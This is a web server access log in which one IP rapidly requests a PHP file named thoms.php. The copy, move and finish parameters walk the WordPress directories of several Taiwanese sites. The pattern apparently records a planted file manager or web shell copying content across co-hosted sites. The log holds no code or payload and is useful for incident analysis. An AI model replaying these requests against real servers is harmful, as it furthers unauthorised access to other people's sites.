45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13411 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13606 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17360 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28764 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 13271 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14169 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17360 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17882 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12595 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13430 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:50 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13974 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17882 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13298 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21373 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21456 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13864 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12596 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13295 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?copy=wp-content&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13783 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13412 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:52 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17380 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12052 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?copy=wp-content&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28903 "https://163.245.207.76:443/thoms.php?copy=wp-content&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:53 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13829 "https://163.245.207.76:443/thoms.php?copy=wp-content&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
